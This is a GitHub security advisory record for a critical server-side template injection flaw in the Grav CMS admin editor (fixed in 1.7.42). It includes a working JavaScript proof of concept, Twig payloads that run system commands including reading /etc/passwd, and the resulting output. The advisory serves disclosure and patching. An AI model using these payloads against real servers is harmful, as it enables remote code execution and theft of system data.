{"id":"GHSA-f9jf-4cp4-4fq5","summary":"Grav Server Side Template Injection (SSTI) vulnerability","details":"### Summary\nI found an RCE(Remote Code Execution) by SSTI in the admin screen.\n\n### Details\nRemote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.\n\n### PoC\n1. Log in to the administrator screen and access the edit screen of the default page \"Typography\". (`http://127.0.0.1:8000/admin/pages/typography`)\n2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed.\n```js\n(async () =\u003e {\n  const nonce = document.querySelector(\"input[name=admin-nonce]\").value;\n  const id = document.querySelector(\"input[name=__unique_form_id__]\").value;\n\n  const payload = \"{{['id']|map('system')|join}}\"; // SSTI Payload\n\n  const params = new URLSearchParams();\n  params.append(\"task\", \"save\");\n  params.append(\"data[header][title]\", \"poc\");\n  params.append(\"data[content]\", payload);\n  params.append(\"data[folder]\", \"poc\");\n  params.append(\"data[route]\", \"\");\n  params.append(\"data[name]\", \"default\");\n  params.append(\"data[header][body_classes]\", \"\");\n  params.append(\"data[ordering]\", 1);\n  params.append(\"data[order]\", \"\");\n  params.append(\"toggleable_data[header][process]\", \"on\");\n  params.append(\"data[header][process][twig]\", 1);\n  params.append(\"data[header][order_by]\", \"\");\n  params.append(\"data[header][order_manual]\", \"\");\n  params.append(\"data[blueprint\", \"\");\n  params.append(\"data[lang]\", \"\");\n  params.append(\"_post_entries_save\", \"edit\");\n  params.append(\"__form-name__\", \"flex-pages\");\n  params.append(\"__unique_form_id__\", id);\n  params.append(\"admin-nonce\", nonce);\n\n  await fetch(\"http://127.0.0.1:8000/admin/pages/typography\", {\n    method: \"POST\",\n    headers: {\n      \"content-type\": \"application/x-www-form-urlencoded\",\n    },\n    body: params,\n  });\n\n  window.open(\"http://127.0.0.1:8000/admin/pages/poc/:preview\");\n})();\n```\n\n#### Execution Result\n- Payload: `{{['id']|map('system')|join}}`\n```sh\nuid=501(\u003cuser_name\u003e) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(\u003cuser_name\u003e) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)\n```\n- Payload: `{{['cat /etc/passwd']|map('system')|join}}`\n```sh\n## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _softwareupdate:*:200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false _coreaudiod:*:202:202:Core Audio Daemon:/var/empty:/usr/bin/false _screensaver:*:203:203:Screensaver:/var/empty:/usr/bin/false _locationd:*:205:205:Location Daemon:/var/db/locationd:/usr/bin/false _trustevaluationagent:*:208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false _timezone:*:210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false _lda:*:211:211:Local Delivery Agent:/var/empty:/usr/bin/false _cvmsroot:*:212:212:CVMS Root:/var/empty:/usr/bin/false _usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false _dovecot:*:214:6:Dovecot Administrator:/var/empty:/usr/bin/false _dpaudio:*:215:215:DP Audio:/var/empty:/usr/bin/false _postgres:*:216:216:PostgreSQL Server:/var/empty:/usr/bin/false _krbtgt:*:217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _kadmin_admin:*:218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false _kadmin_changepw:*:219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false _devicemgr:*:220:220:Device Management Server:/var/empty:/usr/bin/false _webauthserver:*:221:221:Web Auth Server:/var/empty:/usr/bin/false _netbios:*:222:222:NetBIOS:/var/empty:/usr/bin/false _warmd:*:224:224:Warm Daemon:/var/empty:/usr/bin/false _dovenull:*:227:227:Dovecot Authentication:/var/empty:/usr/bin/false _netstatistics:*:228:228:Network Statistics Daemon:/var/empty:/usr/bin/false _avbdeviced:*:229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false _krb_krbtgt:*:230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _krb_kadmin:*:231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false _krb_changepw:*:232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false _krb_kerberos:*:233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false _krb_anonymous:*:234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false _assetcache:*:235:235:Asset Cache Service:/var/empty:/usr/bin/false _coremediaiod:*:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false _launchservicesd:*:239:239:_launchservicesd:/var/empty:/usr/bin/false _iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false _distnote:*:241:241:DistNote:/var/empty:/usr/bin/false _nsurlsessiond:*:242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _krbfast:*:246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false _gamecontrollerd:*:247:247:Game Controller Daemon:/var/empty:/usr/bin/false _mbsetupuser:*:248:248:Setup User:/var/setup:/bin/bash _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _xserverdocs:*:251:251:macOS Server Documents Service:/var/empty:/usr/bin/false _wwwproxy:*:252:252:WWW Proxy:/var/empty:/usr/bin/false _mobileasset:*:253:253:MobileAsset User:/var/ma:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _ctkd:*:259:259:ctkd Account:/var/empty:/usr/bin/false _applepay:*:260:260:applepay Account:/var/db/applepay:/usr/bin/false _hidd:*:261:261:HID Service User:/var/db/hidd:/usr/bin/false _cmiodalassistants:*:262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _fpsd:*:265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _nearbyd:*:268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false _driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _appinstalld:*:273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false _installcoordinationd:*:274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false _demod:*:275:275:Demo Daemon:/var/empty:/usr/bin/false _rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false _accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/db/coreml:/usr/bin/false _sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false _trustd:*:282:282:trustd:/var/empty:/usr/bin/false _mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false _darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false _avphidbridge:*:288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false _biome:*:289:289:Biome:/var/db/biome:/usr/bin/false _backgroundassets:*:291:291:Background Assets Service:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false\n```\n\n#### PoC Video\n- [PoC Video](https://drive.google.com/file/d/1wsmv7abdGc8WdYLNPPC5GrFcybhCORf2/view?usp=sharing)\n\n### Impact\nRemote Command Execution (RCE) is possible.\n\n### Occurrences\n- https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174\n\n### References\n- [PortSwigger: Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)\n- [HackTricks: SSTI (Server Side Template Injection)](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php)\n","aliases":["CVE-2023-34251"],"modified":"2023-11-05T05:23:12.274100Z","published":"2023-06-16T19:35:56Z","database_specific":{"github_reviewed_at":"2023-06-16T19:35:56Z","nvd_published_at":"2023-06-14T22:15:09Z","cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-f9jf-4cp4-4fq5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-34251"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.42"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/06/GHSA-f9jf-4cp4-4fq5/GHSA-f9jf-4cp4-4fq5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}]}